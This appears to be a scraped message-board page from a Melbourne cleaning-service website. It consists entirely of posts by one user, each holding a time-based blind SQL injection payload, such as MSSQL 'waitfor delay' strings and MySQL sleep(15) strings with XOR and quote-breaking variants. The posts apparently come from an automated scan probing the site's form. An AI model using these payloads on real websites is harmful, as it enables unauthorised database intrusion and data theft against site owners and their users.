Mel墨尔本清洁服务，专业清洗地...... 留言信息
qnlnfIml
2023-09-01
-1); waitfor delay '0:0:15' --
qnlnfIml
2023-09-01
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
qnlnfIml
2023-09-01
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
qnlnfIml
2023-09-01
-1; waitfor delay '0:0:15' --
qnlnfIml
2023-09-01
if(now()=sysdate(),sleep(15),0)